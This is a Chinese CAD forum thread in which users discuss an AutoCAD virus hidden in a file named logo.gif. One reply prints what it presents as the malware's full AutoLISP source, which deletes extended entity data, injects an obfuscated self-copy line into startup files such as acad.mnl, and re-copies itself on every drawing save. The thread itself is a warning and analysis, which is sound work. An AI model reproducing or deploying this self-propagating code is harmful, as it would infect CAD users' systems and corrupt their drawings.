明经CAD社区

 找回密码
 注册

QQ登录

只需一步,快速开始

搜索
查看: 3247|回复: 14

[讨论] 发现VLX格式的病毒

[复制链接]
发表于 2019-12-16 14:16:13 | 显示全部楼层 |阅读模式
本帖最后由 satan421 于 2019-12-17 10:46 编辑

前一段时间,在CAD相关的文件夹内发现logo.gif文件,双击查看时系统杀毒软件报毒。有时间的时候研究了一下,但是只能观察到一些行为,内部构造以及是否有其他行为全然不知。
发到论坛,看以前是否有人遇到,或者有高手能研究出个所以然。

以下几点需要注意:
1、此vlx文件会将如下语句写入.lsp或者.mnl文件:
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
即:
(vl-file-copy(findfile "logo.gif")"acad.vlx")

2、将logo.gif后缀改为.txt查看时系统杀毒软件仍然报毒。

3、甚至不能用Hex Editor等软件查看或者用WinRAR压缩,应该是涉及到读写操作时就会执行恶意代码。

4、我不确定此文件是否有其他操作,比如窃取、删改硬盘内文件,因此,重要的事情说三遍:
电脑没有杀毒软件的,请谨慎下载查看!
电脑没有杀毒软件的,请谨慎下载查看!
电脑没有杀毒软件的,请谨慎下载查看!




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册

x

点评

satan421你就是个彻头彻尾的杂碎。一毛不拨,对别人指手画脚。垃圾。  发表于 2020-5-30 22:05
"觉得好,就打赏"
还没有人打赏,支持一下
发表于 2020-1-14 14:59:50 | 显示全部楼层
这是它的源码:
(DEFUN AI_ENTITY (/ DEL LOADFILE)
  (DEFUN DEL (/ CONT APPNAME SS SSS NEXTO SLIST)
    (setq CONT T)
    (setq APPNAME nil)
    (setq SS (ENTNEXT))
    (setq SSS SS)
    (while (and CONT)
      (setq APPNAME (cdr (ASSOC 2 (TBLNEXT "APPID"))))
      (if (AND (/= APPNAME "ACAD") (/= APPNAME nil))
        (PROGN
          (setq NEXTO T)
          (setq SLIST nil)
          (while (and (/= NEXTO nil))
            (if        (setq SS (ENTNEXT SS))
              (PROGN
                (setq SLIST (ENTGET SS (LIST "*")))
                (if (ASSOC -3 SLIST)
                  (PROGN
                    (if        (cdr (ASSOC APPNAME (cdr (ASSOC -3 SLIST))))
                      (PROGN (setq SLIST
                                    (SUBST
                                      (SUBST
                                        (cons APPNAME (LIST (cons 1000 "")))
                                        (ASSOC APPNAME
                                               (cdr (ASSOC -3 SLIST))
                                        )
                                        (ASSOC -3 SLIST)
                                      )
                                      (ASSOC -3 SLIST)
                                      SLIST
                                    )
                             )
                             (ENTMOD SLIST)
                      )
                    )
                  )
                )
              )
            )
            (setq NEXTO SS)
          )
          (setq SS SSS)
        )
      )
      (if (= APPNAME nil)
        (PROGN (setq CONT nil))
      )
    )
    (setq SLIST nil)
    (setq SS nil)
    (setq SSS nil)
    (PRINC)
  )
  (DEFUN AI_CHECK (CALLING-REACTOR COMMANDINFO / WORK SUPPORT ORIGIN)
    (VL-LOAD-COM)
    (setq WORK (STRCAT (GETVAR "DWGPREFIX") "acad.vlx"))
    (setq SUPPORT (STRCAT (VL-FILENAME-DIRECTORY (GETVAR "MENUNAME"))
                          "\\acad.vlx"
                  )
    )
    (setq ORIGIN (STRCAT (VL-FILENAME-DIRECTORY (FINDFILE "acad.exe"))
                         "\\Help\\logo.gif"
                 )
    )
    (if        (= (VL-FILE-SIZE WORK) 3000)
      (PROGN
        (if (/= (VL-FILE-SIZE ORIGIN) 3000)
          (PROGN (VL-FILE-DELETE ORIGIN) (VL-FILE-COPY WORK ORIGIN))
        )
        (if (/= (VL-FILE-SIZE SUPPORT) 3000)
          (PROGN (VL-FILE-DELETE SUPPORT) (VL-FILE-COPY WORK SUPPORT))
        )
      )
    )
    (if        (= (VL-FILE-SIZE ORIGIN) 3000)
      (PROGN (if (/= (VL-FILE-SIZE WORK) 3000)
               (PROGN (VL-FILE-DELETE WORK) (VL-FILE-COPY ORIGIN WORK))
             )
             (if (/= (VL-FILE-SIZE SUPPORT) 3000)
               (PROGN (VL-FILE-DELETE SUPPORT)
                      (VL-FILE-COPY ORIGIN SUPPORT)
               )
             )
      )
    )
    (if        (= (VL-FILE-SIZE SUPPORT) 3000)
      (PROGN (if (/= (VL-FILE-SIZE WORK) 3000)
               (PROGN (VL-FILE-DELETE WORK) (VL-FILE-COPY SUPPORT WORK))
             )
             (if (/= (VL-FILE-SIZE ORIGIN) 3000)
               (PROGN (VL-FILE-DELETE ORIGIN)
                      (VL-FILE-COPY SUPPORT ORIGIN)
               )
             )
      )
    )
  )
  (DEFUN LOADFILE (FILE / N NO TEST FILE_ID TEMP_ID DATA)
    (if        (FINDFILE FILE)
      (PROGN
        (if (setq FILE_ID (OPEN (FINDFILE FILE) "r"))
          (PROGN
            (setq N 0)
            (while (and (setq DATA (READ-LINE FILE_ID)))
              (setq N (+ N 1))
              (if
                (=
                  DATA
                  "(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))"
                )
                 (PROGN (setq TEST T))
              )
              (if (= DATA ";;;")
                (PROGN (setq NO (cons N NO)))
              )
            )
            (CLOSE FILE_ID)
            (if        (/= TEST T)
              (PROGN
                (if (/= NO nil)
                  (PROGN (setq NO (NTH (FIX (/ (LENGTH NO) 2)) NO)))
                  (PROGN (setq NO N))
                )
                (setq TEMP_ID (OPEN "temp.txt" "w"))
                (setq FILE_ID (OPEN (FINDFILE FILE) "r"))
                (setq N 0)
                (while (and (setq DATA (READ-LINE FILE_ID)))
                  (setq N (+ N 1))
                  (if (= N NO)
                    (PROGN (setq DATA
                                  "(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))"
                           )
                    )
                  )
                  (WRITE-LINE DATA TEMP_ID)
                )
                (CLOSE TEMP_ID)
                (CLOSE FILE_ID)
                (if (setq FILE_ID (OPEN (FINDFILE FILE) "w"))
                  (PROGN (setq TEMP_ID (OPEN "temp.txt" "r"))
                         (while        (and (setq DATA (READ-LINE TEMP_ID)))
                           (WRITE-LINE DATA FILE_ID)
                         )
                         (CLOSE TEMP_ID)
                         (CLOSE FILE_ID)
                  )
                )
                (VL-FILE-DELETE "temp.txt")
              )
            )
          )
        )
      )
    )
  )
  (DEL)
  (LOADFILE "acad.mnl")
  (LOADFILE "ai_utils.lsp")
  (LOADFILE "acetauto.lsp")
  (LOADFILE
    (STRCAT (VL-FILENAME-DIRECTORY (FINDFILE "acad.exe"))
            "\\UserDataCache\\Support\\acad.mnl"
    )
  )
  (VLR-DWG-Reactor nil '((:VLR-saveComplete . AI_CHECK)))
  (AI_CHECK nil nil)
  (GC)
)
(AI_ENTITY)
(SETVAR "ACADLSPASDOC" 1)
(PRINC)
 楼主| 发表于 2019-12-17 08:54:26 | 显示全部楼层
mikewolf2k 发表于 2019-12-16 16:22
初看起来,就是把病毒vlx保存为gif,杀毒软件只搜索vlx的话就可以跳过去;再者可能把其中的某些病毒特征码 ...

可能因为Win10查杀的策略比较严格,这个文件涉及到读取操作(不是通过CAD加载)时都会报毒,猜测里面可能不仅是Lisp代码。奇怪的是,此前这个文件一直没有动作。
这个文件是在CAD2006里面发现的,可能不止我的电脑里存在。
发表于 2019-12-16 16:22:45 | 显示全部楼层
初看起来,就是把病毒vlx保存为gif,杀毒软件只搜索vlx的话就可以跳过去;再者可能把其中的某些病毒特征码修改放在gif中,即使查找gif中的特征码也会跳过去。
感觉是原有病毒的障眼法跳过当前的杀毒软件,病毒部分的功能应该还是原来差不多。作者狡猾狡猾的干活。
发表于 2019-12-16 16:26:02 | 显示全部楼层
不要疑似了,这就是CAD病毒。
 楼主| 发表于 2019-12-17 09:07:45 | 显示全部楼层
stoyer 发表于 2019-12-16 16:26
不要疑似了,这就是CAD病毒。

用"疑似"是因为这文件貌似不是主动运行的,被我发现之前没有任何操作(或者我没察觉到?不过感觉有操作的话是逃不过Win10杀毒的)
发表于 2019-12-18 08:58:41 | 显示全部楼层
看来不能随便加载这类型插件了
 楼主| 发表于 2019-12-18 09:18:09 | 显示全部楼层
qssq 发表于 2019-12-18 08:58
看来不能随便加载这类型插件了

正规途径得到的插件是没问题的,不确定来源的就要小心了。
发表于 2019-12-19 21:35:27 | 显示全部楼层
logo.gif是很久以前的病毒
 楼主| 发表于 2019-12-20 08:23:58 | 显示全部楼层
690994 发表于 2019-12-19 21:35
logo.gif是很久以前的病毒

不知道这个病毒的目的是什么,还有其他操作吗
您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|CAD论坛|CAD教程|CAD下载|联系我们|关于明经|明经通道 ( 粤ICP备05003914号 )  
©2000-2023 明经通道 版权所有 本站代码,在未取得本站及作者授权的情况下,不得用于商业用途

GMT+8, 2025-5-1 05:46 , Processed in 0.189111 second(s), 29 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表